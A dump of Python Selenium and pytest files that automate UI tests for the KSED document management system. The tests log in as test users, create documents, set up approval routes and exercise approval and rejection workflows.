WebDriverWait(self.w, 10).until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.soglasovanieWkladka)))
page.soglasovanieWkladka.click()
# "Создать маршрут" клик по кнопке
WebDriverWait(self.w, 10).until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.createRuleBtn)))
page.createRuleBtn.click()
# Выберем "Индивидуальный маршрут"
page.createRuleIndivid.click()
# Появилась форма "Редактирование маршрута" нажмем "ОК"
WebDriverWait(self.w, 10).until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.btnOKform)))
page.btnOKform.click()
# Нажмем кнопку "Добавить этап"
WebDriverWait(self.w, 10).until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.addEtap)))
page.addEtap.click()
time.sleep(1.5)
# Заполним "Вид этапа"
page.tipeEtap.send_keys("Согласование"+ Keys.ENTER)
time.sleep(0.5)
page.tipeEtap.send_keys(Keys.ENTER)
time.sleep(1)
# Заполним "Согласующие"
page.soglasuychie.send_keys("Яцкин" + Keys.ENTER)
# Нажмем кнопку "ОК" на форме
time.sleep(0.5)
page.btnOKformSogl.click()
wait_page_loaded(self.w)
# Направление на согласование и проверка статуса документа
def NapSoglasovanie(self, ):
page = Locator(self.w)
wait = WebDriverWait(self.w, 10)
time.sleep(1)
page.sendFor_approval.click()
wait_page_loaded(self.w)
# Проверим статус документа
wait.until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.osnSvedeniya)))
page.osnSvedeniya.click()
assert "На согласовании" in self.status_Doc.text
# # Сохраним ссылку на документ в файл
# def LinkDocWFile(self):
#
# url = self.w.current_url
# my_file = open("TestData\linkDoc.txt", "w")
# my_file.write(str(url))
# my_file.close()
```
tk11652.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDCreatDocPVH(Locator, dataTest):
def __init__(self, web_driver, uri=''):
super().__init__(web_driver, uri)
self.get(dataTest.baseURL)
wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
page = Locator(self.w)
page.username_text = username
print(Locator.username_text)
page.password_text = password
page.LogIn_button.click()
wait_page_loaded(self.w)
assert "АРМ" in self.w.title
# Создание документа (открытие формы создания и заполнение атрибутов)
def Creat(self,):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
page = Locator(self.w)
wait = WebDriverWait(self.w, 10)
page.newDoc_button.click()
page.paket_vh.click()
assert "Страница создания документа" in self.w.title
time.sleep(1)
# Атрибуты документа
# Корреспондент
self.w.execute_script("arguments[0].scrollIntoView();", page.korrespondent)
page.korrespondent.send_keys(u'Сибинтек' + Keys.RETURN)
page.korrespondent.send_keys(Keys.RETURN)
# Способ доставки
page.sposob_dost.send_keys(u'КСЭД' + Keys.RETURN)
# Адресат
page.adresat.send_keys(u'Строганов'+ Keys.RETURN)
time.sleep(0.5)
# Кнопка "Создать"
self.w.execute_script("arguments[0].scrollIntoView();", page.btnCreateDoc)
wait.until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.btnCreateDoc)))
page.btnCreateDoc.click()
# wait.until(EC.number_of_windows_to_be(2))
wait_page_loaded(self.w)
# self.w.set_page_load_timeout(30)
time.sleep(2)
#
# wait.until(EC.title_is(self.w.title))
assert "Документ" in self.w.title
```
test_poshtuchno.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11645 import KSEDCreatDocISH
from KSED.Tests.tk11644 import KSEDCreatDocVH
from KSED.Tests.tk11679 import KSEDCreatDocReestr
from KSED.Tests.tk11691 import KSEDCreatDocSZ
from KSED.Tests.tk12929 import KSEDRD_sendPodpis
from KSED.Tests.T715 import KSEDreturnDisAfterTakeTask
from KSED.Tests.T716 import KSEDsoftDisFromDelegatAfterReject_RD
from KSED.Tests.T717 import KSEDsoftDisAfterTakeTask
# @allure.feature('Создание Исходящий документ')
# @pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
#
#
# def test_11645(web_browser):
#
# """ Создание Исходящий документ. """
#
# page = KSEDCreatDocISH(web_browser)
#
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#
# Creat_doc = page.Creat()
#
# @allure.feature('Создание Исходящий документ')
# @pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
#
#
# def test_11644(web_browser):
#
# """ Создание Исходящий документ. """
#
# page = KSEDCreatDocVH(web_browser)
#
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#
# Creat_doc = page.Creat()
#
# @allure.feature('Создание Исходящий документ')
# @pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
#
# def test_11679(web_browser):
#
# """ Создание реестра """
#
# page = KSEDCreatDocReestr(web_browser)
#
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#
# Creat_doc = page.Creat()
#
# @allure.feature('Создание Исходящий документ')
# @pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
#
# def test_11691(web_browser):
#
# """ Создание Исходящий документ. """
#
# page = KSEDCreatDocSZ(web_browser)
#
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#
# Creat_doc = page.Creat()
#
# @allure.feature('Создание Исходящий документ')
# @pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
#
#
#
# def test_12929(web_browser):
#
# """ Направление на согласование РД """
#
# page = KSEDRD_sendPodpis(web_browser)
#
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#
# getDoc = page.getDoc()
#
# NaprNaSogl = page.NapPodpis()
#
# @allure.feature('Создание Исходящий документ')
# @pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
#
#
# def test_11644(web_browser):
#
# """ Создание Исходящий документ. """
#
# page = KSEDCreatDocVH(web_browser)
#
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#
# Creat_doc = page.Creat()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18361(web_browser):
""" Отзыв решения после согласования делегата"""
# Шаг 1 создание документа
page = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 забрать задачу
page2 = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page2.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
take = page2.takeTask_RD()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page3.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
returnDis = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
def test_18362(web_browser):
""" Отзыв решения делегата после отклонения согласования основного согласующего"""
# Шаг 1 создание документа
page = KSEDsoftDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDsoftDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDsoftDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page3.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
returnDis = page3.softDecision_RD()
@pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
def test_18363(web_browser):
""" Смягчение решения после согласования делегата"""
# Шаг 1 создание документа
page = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 забрать задачу
page2 = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page2.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
take = page2.takeTask_RD()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page3.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
returnDis = page3.softDecision_RD()```
PageObject.py
```from page_objects import PageObject, PageElement, MultiPageElement
from KSED.TestData.locators import KSEDLocators
class Locator(PageObject, KSEDLocators):
# Форма авторизации
username_text = PageElement(name=KSEDLocators.username_text) # Логин
password_text = PageElement(name=KSEDLocators.password_text) # Пароль
LogIn_button = PageElement(xpath=KSEDLocators.LogIn_button) # Кнопка "Войти"
# *******СТРОКА МЕНЮ*******
ksed = PageElement(xpath=KSEDLocators.ksed) #xpath # КСЭД
barcode_search = PageElement(id_=KSEDLocators.barcode_search) #id # Поиск по ШК
search_bc = PageElement(xpath=KSEDLocators.search_bc) # Строка поиска по ШК
more_menu = PageElement(id_=KSEDLocators.more_menu)# Меню "Ещё"
ksed_in_more_m = PageElement(id_=KSEDLocators.ksed_in_more_m) # КСЭД в меню "Ещё"
Company_dir = PageElement(xpath=KSEDLocators.Company_dir) # Справочник организации
admin = PageElement(xpath=KSEDLocators.admin) # Администрирование
transfer = PageElement(xpath=KSEDLocators.transfer) # Передача дел
arm_arh = PageElement(xpath=KSEDLocators.arm_arh) # АРМ Архивное дело
verify = PageElement(xpath=KSEDLocators.verify) # Верификация
scanner = PageElement(xpath=KSEDLocators.scanner) # Работа со сканером ШК
notification = PageElement(id_=KSEDLocators.notification) # Уведомления
notificationProtokol = PageElement(xpath=KSEDLocators.notificationProtokol) # Первое в списке уведомление о протоколе
notificationFirst = PageElement(xpath=KSEDLocators.notificationFirst) # id # Уведомление первое в списке
# *******МЕНЮ ПОЛЬЗОВАТЕЛЯ*******
user_menu = PageElement(id_=KSEDLocators.user_menu) # Меню пользователя
USER_LOGOUT = PageElement(id_=KSEDLocators.USER_LOGOUT) # Выход из системы
my_profile = PageElement(xpath=KSEDLocators.my_profile) # Пункт меню "Мой профиль"
fieldlabel = PageElement(xpath=KSEDLocators.fieldlabel) # Должность в области краткой информации
btnEdit_profile = PageElement(xpath=KSEDLocators.btnEdit_profile) # Кнопка "Изменить профиль"
inputPosition = PageElement(xpath=KSEDLocators.inputPosition) # Поле ввода должности
logic_ESM = PageElement(xpath=KSEDLocators.logic_ESM) # Пункт меню "Логика ECM. Мой профиль"
autoAnswerText = PageElement(name=KSEDLocators.autoAnswerText) # Текст автоответа (Меня нет в офисе)
btnCancelAbsence = PageElement(xpath=KSEDLocators.btnCancelAbsence) # Кнопка "Отменить отсутствие"
btnYes = PageElement(xpath=KSEDLocators.btnYes) # Кнопка "Да" (отменить отсутствие)
edit_password = PageElement(xpath=KSEDLocators.edit_password) # Пункт меню "Изменить пароль"
inputOldPassword = PageElement(xpath=KSEDLocators.inputOldPassword) # Введите старый пароль
inputNewPassword1 = PageElement(xpath=KSEDLocators.inputNewPassword1) # Введите старый пароль
inputNewPassword2 = PageElement(xpath=KSEDLocators.inputNewPassword2) # Введите старый пароль
btnOKchange = PageElement(xpath=KSEDLocators.btnOKchange) # Кнопка "Изменить пароль"
# *******ЛЕВАЯ ЧАСТЬ СТРАНИЦЫ (Кнопка "Создать" и разделы)*******
newDoc_button = PageElement(xpath=KSEDLocators.newDoc_button) # "Создать"
protocol = PageElement(xpath=KSEDLocators.protocol) # Протокол
rd = PageElement(xpath=KSEDLocators.rd) # РД
reestr = PageElement(xpath=KSEDLocators.reestr) # Реестр
poruchenie = PageElement(xpath=KSEDLocators.poruchenie) # Поручение
resolution = PageElement(xpath=KSEDLocators.resolution) # Резолюция
SZ = PageElement(xpath=KSEDLocators.SZ) # Служебная записка
proizvDoc = PageElement(xpath=KSEDLocators.proizvDoc) # Произвольный документ
paket_vh = PageElement(xpath=KSEDLocators.paket_vh) #Пакет Вх. кор.
vhDoc = PageElement(xpath=KSEDLocators.vhDoc) # Входящий документ
ishDoc = PageElement(xpath=KSEDLocators.ishDoc) # Исходящий документ
# РАЗДЕЛЫ
myWork = PageElement(xpath=KSEDLocators.myWork) # Моя работа
expedition = PageElement(xpath=KSEDLocators.expedition) # Экспедиция
navigation = PageElement(xpath=KSEDLocators.navigation) # Навигатор
allur = PageElement(xpath=KSEDLocators.allur) # Отчеты
workReg = PageElement(xpath=KSEDLocators.workReg) # Работа регистратора
medo = PageElement(xpath=KSEDLocators.medo) # МЭДО
mySearch = PageElement(xpath=KSEDLocators.mySearch) # Мои поисковые запросы
poiskzapr = PageElement(xpath=KSEDLocators.poiskzapr) # Поисковые запросы
myPoiskZapr = PageElement(xpath=KSEDLocators.myPoiskZapr) # Поисковые запросы
ControlZapr = PageElement(xpath=KSEDLocators.ControlZapr) # Упарвление поисковыми запросами
# ОБЛАСТЬ ПРОСМОТРА (КСЭД)
oblProsm = PageElement(xpath=KSEDLocators.oblProsm) # Область просмотра
oneDocInList = PageElement(xpath=KSEDLocators.oneDocInList) # Первый документ в списке
nineDocInList = PageElement(xpath=KSEDLocators.nineDocInList) # Девятый документ в списке
subordinate = MultiPageElement(xpath=KSEDLocators.subordinate) # "+" раскрытие подчиненные документы
oneSubordInList = PageElement(xpath=KSEDLocators.oneSubordInList) # Первая ссылка на подчиненный документ
ActionTab = PageElement(xpath=KSEDLocators.ActionTab) # Кнопка "Действия с выбранными"
chBinOnl = PageElement(xpath=KSEDLocators.chBinOnl)
# Моя работа
WorkImmid = PageElement(xpath=KSEDLocators.WorkImmid) # xpath # Моя работа - срочные
connectedDoc = PageElement(xpath=KSEDLocators.connectedDoc) # xpath # связанные документы
# ОТЧЕТЫ
section_allur = PageElement(xpath=KSEDLocators.section_allur) # Раздел "Отчеты"
node_Logs = PageElement(xpath=KSEDLocators.node_Logs) # "Журналы"
node_Statis = PageElement(xpath=KSEDLocators.node_Statis) # "Статистические отчеты"
edsBykindStat = PageElement(xpath=KSEDLocators.edsBykindStat) # Отчет "Сводка по видам документов"
node_ispDisp = PageElement(xpath=KSEDLocators.node_ispDisp) #
logs_incDoc = PageElement(xpath=KSEDLocators.logs_incDoc)
incomingRegJournal = PageElement(xpath=KSEDLocators.incomingRegJournal) # Отчет "Журнал регистрации входящих документов"
logs_outDoc = PageElement(xpath=KSEDLocators.logs_outDoc)
outgoingRegistration = PageElement(xpath=KSEDLocators.outgoingRegistration) # Отчет "Журнал регистрации исходящих документов"
logs_raspDoc = PageElement(xpath=KSEDLocators.logs_raspDoc)
ordRegJournal = PageElement(xpath=KSEDLocators.ordRegJournal) # Отчет "Журнал регистрации Распорядительных документов"
logs_sluDoc = PageElement(xpath=KSEDLocators.logs_sluDoc)
internalRegJournal = PageElement(xpath=KSEDLocators.internalRegJournal) # Отчет "Журнал регистрации служебных записок"
stat_specDoc = PageElement(xpath=KSEDLocators.stat_specDoc)
stat_temDoc = PageElement(xpath=KSEDLocators.stat_temDoc)
edsBySubjectStat = PageElement(xpath=KSEDLocators.edsBySubjectStat) # Отчет "Сводка по тематикам документов"
stat_temDocO = PageElement(xpath=KSEDLocators.stat_temDocO)
edsBySubjectStatO = PageElement(xpath=KSEDLocators.edsBySubjectStatO) # Отчет "Сводка по тематикам документов(объед)"
stat_tipDoc = PageElement(xpath=KSEDLocators.stat_tipDoc)
edByTypeStat = PageElement(xpath=KSEDLocators.edByTypeStat) # Отчет "Сводка по типам документов"
allu_ispIncDoc = PageElement(xpath=KSEDLocators.allu_ispIncDoc)
allu_raspDoc = PageElement(xpath=KSEDLocators.allu_raspDoc)
allu_sluDoc = PageElement(xpath=KSEDLocators.allu_sluDoc)
allu_ispDis = PageElement(xpath=KSEDLocators.allu_ispDis)
allu_ispDispA = PageElement(xpath=KSEDLocators.allu_ispDispA)
allu_NispDI = PageElement(xpath=KSEDLocators.allu_NispDI)
allu_NispDIrg = PageElement(xpath=KSEDLocators.allu_NispDIrg)
allu_istS = PageElement(xpath=KSEDLocators.allu_istS)
allu_narS = PageElement(xpath=KSEDLocators.allu_narS)
allu_prodIsp = PageElement(xpath=KSEDLocators.allu_prodIsp)
allu_prodPodr = PageElement(xpath=KSEDLocators.allu_prodPodr)
allu_ReesContr = PageElement(xpath=KSEDLocators.allu_ReesContr)
allu_ReesContrN = PageElement(xpath=KSEDLocators.allu_ReesContrN)
allu_ReesContrF = PageElement(xpath=KSEDLocators.allu_ReesContrF)
allu_SostIspR = PageElement(xpath=KSEDLocators.allu_SostIspR)
# *******РАБОТА С ДОКУМЕНТАМИ*******
# ОБЩИЕ АТРИБУТЫ
#(форма создания документа)
title = PageElement(name=KSEDLocators.title) # Заголовок
category_doc = PageElement(xpath=KSEDLocators.category_doc) # Категория документа
doc_type = PageElement(xpath=KSEDLocators.doc_type) # Вид документа(кнопка выбора)
doc_typeInp = PageElement(xpath=KSEDLocators.doc_typeInp) # Вид документа(поле ввода)
btnOKDT = PageElement(xpath=KSEDLocators.btnOKDT) # Вид документа (кнопка "ОК")
podpisant = PageElement(xpath=KSEDLocators.podpisant) # Подписант(ы)
sposob_dost = PageElement(xpath=KSEDLocators.sposob_dost) # Способ доставки
btnCreateDoc = PageElement(xpath=KSEDLocators.btnCreateDoc) # Кнопка "Создать"
adresat = PageElement(xpath=KSEDLocators.adresat) # Адресат
korrespondent = PageElement(xpath=KSEDLocators.korrespondent) # Корреспондент
# (карточка документа)
attachments = PageElement(xpath=KSEDLocators.attachments) # # Переход во вкладку "Вложения"
vlozheniya = PageElement(xpath=KSEDLocators.vlozheniya) # Вложения (раскрытие раздела)
osnSvedeniya = PageElement(xpath=KSEDLocators.osnSvedeniya) # Основные сведения (раскрытие раздела)
printForm = PageElement(xpath=KSEDLocators.printForm)# Печатные формы (раскрытие раздела)
printBarCode = PageElement(xpath=KSEDLocators.printBarCode) #Печатная форма штрих кода документа
btnPrintInPrintForm = PageElement(id_=KSEDLocators.btnPrintInPrintForm)# Кнопка печати в окне печатной формы
btnOKpodpis = PageElement(xpath=KSEDLocators.btnOKpodpis) # Кнопка ОК подтверждение подписания
mode = PageElement(xpath=KSEDLocators.mode) # Переключение в двупанельный вид
fileUpload = PageElement(xpath=KSEDLocators.fileUpload) # Загрузить файл
fileUpload2 = PageElement(xpath=KSEDLocators.fileUpload2) # Загрузить файл в поручении
fileUpload3 = PageElement(xpath=KSEDLocators.fileUpload3) # Загрузить файл в поручении
files = PageElement(xpath=KSEDLocators.files) # Выберите файлы
show = PageElement(xpath=KSEDLocators.show) # Показать общую карточка
show_list = PageElement(xpath=KSEDLocators.show_list)# Показать ввиде списка
dropBtn = PageElement(xpath=KSEDLocators.dropBtn) # Кнопка выпадающего списка
resultSogl = PageElement(xpath=KSEDLocators.resultSogl) # результат согласования
btnPrint = PageElement(xpath=KSEDLocators.btnPrint) # Кнопка печати в форме предварительного просмотра вложения
soglasovanieWkladka = PageElement(xpath=KSEDLocators.soglasovanieWkladka) # Вкладка "Согласование"
soglasovanieWkladka2 = PageElement(xpath=KSEDLocators.soglasovanieWkladka2) # Вкладка "Согласование"
createRuleBtn = PageElement(xpath=KSEDLocators.createRuleBtn) # Кнопка "Создать маршрут"
createRuleIndivid = PageElement(xpath=KSEDLocators.createRuleIndivid) # "Индивидуальный маршрут"
addEtap = PageElement(xpath=KSEDLocators.addEtap) # Кнопка "Добавить этап"
tipeEtap = PageElement(xpath=KSEDLocators.tipeEtap) # "Вид этапа"
soglasuychie = PageElement(xpath=KSEDLocators.soglasuychie) # "Согласующие"
btnOKformSogl = PageElement(xpath=KSEDLocators.btnOKformSogl) # Кнопка "ОК" на форме добавления этапа согласования
btnTree = PageElement(xpath=KSEDLocators.btnTree) # Кнопка ...
btnSelection3 = PageElement(xpath=KSEDLocators.btnSelection3) # 3 выбор
punkti = PageElement(xpath=KSEDLocators.punkti) # Вкладка "Пункты"
punktiBtn = PageElement(xpath=KSEDLocators.punktiBtn) # Кнопка "Пункты"
punktPoruch = PageElement(xpath=KSEDLocators.punktPoruch) # Пункт/Поручение
textPoruch = PageElement(xpath=KSEDLocators.textPoruch) # Текст поручения
tipPoruch = PageElement(xpath=KSEDLocators.tipPoruch) # Тип поручения
otvetstv_ispolnVpunktah = PageElement(xpath=KSEDLocators.otvetstv_ispolnVpunktah) # Ответственный исполнитель в пунктах карточки документа
srokIspoln = PageElement(xpath=KSEDLocators.srokIspoln) # Срок исполнения (среднее знач)
btnOKform = PageElement(xpath=KSEDLocators.btnOKform) # Кнопка ОК на форме
sendFor_approval = PageElement(xpath=KSEDLocators.sendFor_approval) # Действие "Направить на согласование"
sendFor_podpis = PageElement(xpath=KSEDLocators.sendFor_podpis) # Действие "Направить на подписание"
sendFor_execution = PageElement(xpath=KSEDLocators.sendFor_execution) # Действие "Направить на исполнение"
btnOKnaprNaIspoln = PageElement(xpath=KSEDLocators.btnOKnaprNaIspoln) # Кнопка "ОК" на форме подтверждения действия "Направить на исполнение"
confirm = PageElement(xpath=KSEDLocators.confirm) # Подтверждение согласования
confirm2 = PageElement(xpath=KSEDLocators.confirm2) # Подтверждение согласования
confirm_3 = PageElement(xpath=KSEDLocators.confirm_3) # Подтверждение согласования
confirm_4 = PageElement(xpath=KSEDLocators.confirm_4) # Подтверждение согласования
confirm_5 = PageElement(xpath=KSEDLocators.confirm_5) # Подтверждения выбора
status_Doc = PageElement(xpath=KSEDLocators.status_Doc) # Статус документа во вкладке (Основные сведения)
#"Отправить отчет"
actionSendAllere = PageElement(xpath=KSEDLocators.actionSendAllere) # "Отправить отчет" действие
btnSend = PageElement(xpath=KSEDLocators.btnSend) # Кнопка "Отправить"
textAllur = PageElement(xpath=KSEDLocators.textAllur) # Текстовое поле "Текст отчета"
btnAddSvyz = PageElement(xpath=KSEDLocators.btnAddSvyz) # Кнопка добавления связи "..."
searchDoc = PageElement(xpath=KSEDLocators.searchDoc) # Строка поиска в форме подбора
oneListEl = PageElement(xpath=KSEDLocators.oneListEl) # Первый элемент в списке справочника
btnOK = PageElement(xpath=KSEDLocators.btnOK) # Кнопка "ОК" в форме подбора
# (панель согласования)
APPROVED_button = PageElement(xpath=KSEDLocators.APPROVED_button) # Кнопка "Согласовать"
APPROVED_WITH_REMARK_button = PageElement(xpath=KSEDLocators.APPROVED_WITH_REMARK_button) # Кнопка "Согласовать с комментариями"
REJECTED_button = PageElement(xpath=KSEDLocators.REJECTED_button) # Кнопка "Отклонить"
internal_approval = PageElement(xpath=KSEDLocators.internal_approval) # Кнопка "Внутреннее согласование"
prop_bpm_comment = PageElement(name=KSEDLocators.prop_bpm_comment) # Поле комментария
apply_button_button = PageElement(xpath=KSEDLocators.apply_button_button) # Кнопка "ОК" при вынесении решения согласования
apply_button_button2 = PageElement(xpath=KSEDLocators.apply_button_button2) # Кнопка "ОК" при вынесении решения согласования
SIGNED_button = PageElement(xpath=KSEDLocators.SIGNED_button) # Кнопка "Подписать"
# # ПРОТОКОЛ
# #(форма создания документа)
# addEl = PageElement(xpath=KSEDLocators.addEl) # Вид документа(Протокол совещания рабочей группы)
# addEl2 = PageElement(xpath=KSEDLocators.addEl2) #Вид документа "Служебная записка"
# РАСПОРЯДИТЕЛЬНЫЙ ДОКУМЕНТ
#(форма создания документа)
addEl = PageElement(xpath=KSEDLocators.addEl) # Вид документа(Протокол совещания рабочей группы)
addEl2 = PageElement(xpath=KSEDLocators.addEl2) #Вид документа "Служебная записка"
preambula = PageElement(xpath=KSEDLocators.preambula) # Преамбула
obcontrol = PageElement(xpath=KSEDLocators.obcontrol) # Общий контроль
wid_doc = PageElement(xpath=KSEDLocators.wid_doc) # Вид документа (в РД)
wid_doc_rasp = PageElement(xpath=KSEDLocators.wid_doc_rasp) # Вид документа РД (Распоряжение)
addPunkt = PageElement(xpath=KSEDLocators.addPunkt) # Кнопка "Добавить пункт"
textPunktaRD = PageElement(name=KSEDLocators.textPunktaRD) # Текст пункта РД
otvetstv_ispolnVpunktahRD = PageElement(xpath=KSEDLocators.otvetstv_ispolnVpunktahRD) # Ответственный исполнитель в пункте РД
rassilka = PageElement(xpath=KSEDLocators.rassilka) # Вкладка "Рассылка"
btnVipolnit = PageElement(xpath=KSEDLocators.btnVipolnit) # Кнопка "Выполнить..."
punktBtnVipolnit = PageElement(xpath=KSEDLocators.punktBtnVipolnit) # Создать и заполнить
# ПРОТОКОЛ
#(форма создания документа)
date = PageElement(xpath=KSEDLocators.date) # Дата совещания
category = PageElement(xpath=KSEDLocators.category) # Категория
Chairman = PageElement(xpath=KSEDLocators.Chairman) # Председатель
Secretary = PageElement(xpath=KSEDLocators.Secretary) # Секретарь
person_present = PageElement(xpath=KSEDLocators.person_present) # Присутствовали
#РЕЕСТР
#(форма создания документа)
vid_reestra = PageElement(xpath=KSEDLocators.vid_reestra) # Вид реестра
vid_reestraPR = PageElement(xpath=KSEDLocators.vid_reestraPR) # Вид реестра (Передачи на рег..)
vid_reestraPP = PageElement(xpath=KSEDLocators.vid_reestraPP) # Вид реестра (Приема/передачи)
btnCreateChern = PageElement(xpath=KSEDLocators.btnCreateChern) # Кнопка "Создать черновик"
btnCreateSend = PageElement(xpath=KSEDLocators.btnCreateSend) # Кнопка "Создать и отправить"
inpDoc = PageElement(xpath=KSEDLocators.inpDoc) # Поле "Документы"
poluchatel = PageElement(xpath=KSEDLocators.poluchatel) # Поле "Получатель"
# СЛУЖЕБНАЯ ЗАПИСКА
#(форма создания документа)
adresati = PageElement(xpath=KSEDLocators.adresati) # Адресаты
podpisanti = PageElement(xpath=KSEDLocators.podpisanti) # Подписанты
# ПРОИЗВОЛЬНЫЙ ДОКУМЕНТ
#(форма создания документа)
prorabotka = PageElement(xpath=KSEDLocators.prorabotka) # Проработка
chBprorab = PageElement(xpath=KSEDLocators.chBprorab) # чекбокс проработка
normokontrol = PageElement(xpath=KSEDLocators.normokontrol) # Нормоконтроль
chBnorm = PageElement(xpath=KSEDLocators.chBnorm) # чекбокс Проработка
soglasovanie = PageElement(xpath=KSEDLocators.soglasovanie) # Согласование
podpisanie = PageElement(xpath=KSEDLocators.podpisanie) # Подписание
utverzhdenie = PageElement(xpath=KSEDLocators.utverzhdenie) # Утверждение
oznakomlenie = PageElement(xpath=KSEDLocators.oznakomlenie) # Ознакомление
# ПОРУЧЕНИЕ
# (форма создания документа)
tipPoruch = PageElement(xpath=KSEDLocators.tipPoruch) # Тип поручения
text_poruch = PageElement(name=KSEDLocators.text_poruch) #Текст поручения
otvetstv_ispoln = PageElement(xpath=KSEDLocators.otvetstv_ispoln) # Ответственный исполнитель
# ПАКЕТ ВХОДЯЩЕЙ КОРРЕСПОНДЕНЦИИ
# ВХОДЯЩИЙ ДОКУМЕНТ
#(форма создания документа)
ishNumber = PageElement(name=KSEDLocators.ishNumber) # Исходящий номер
dateIS = PageElement(xpath=KSEDLocators.dateIS) # Дата исходящего
# ИСХОДЯЩИЙ ДОКУМЕНТ
# (форма создания документа)
osnovPodpis = PageElement(name=KSEDLocators.osnovPodpis) # Основание подписания
korrespondentISH = PageElement(xpath=KSEDLocators.korrespondentISH) # Корреспондент
clickNull = PageElement(xpath=KSEDLocators.clickNull) # КЛИК ВНЕ АТРИБУТОВ
#Формы отчетов
#Мои поисковые запросы
listChange = PageElement(xpath=KSEDLocators.listChange) # Выпадающий список
listChangeSZ = PageElement(xpath=KSEDLocators.listChangeSZ) # Выпадающий список - служебная записка
listChangeRD = PageElement(xpath=KSEDLocators.listChangeRD) # Выпадающий список - РД
butSave = PageElement(xpath=KSEDLocators.butSave) #Кнопка сохранить
nameZap = PageElement(xpath=KSEDLocators.nameZap) #Наименование запроса
zaprosToDel = PageElement(xpath=KSEDLocators.zaprosToDel)#созданный запрос
butDel = PageElement(xpath=KSEDLocators.butDel) #Кнопка удалить
butRed = PageElement(xpath=KSEDLocators.butRed) # Кнопка редактировать
butDelAc = PageElement(xpath=KSEDLocators.butDelAc) # Кнопка удалить подтверждение
butAct = PageElement(xpath=KSEDLocators.butAct) # Кнопка "Действия с выбранными"
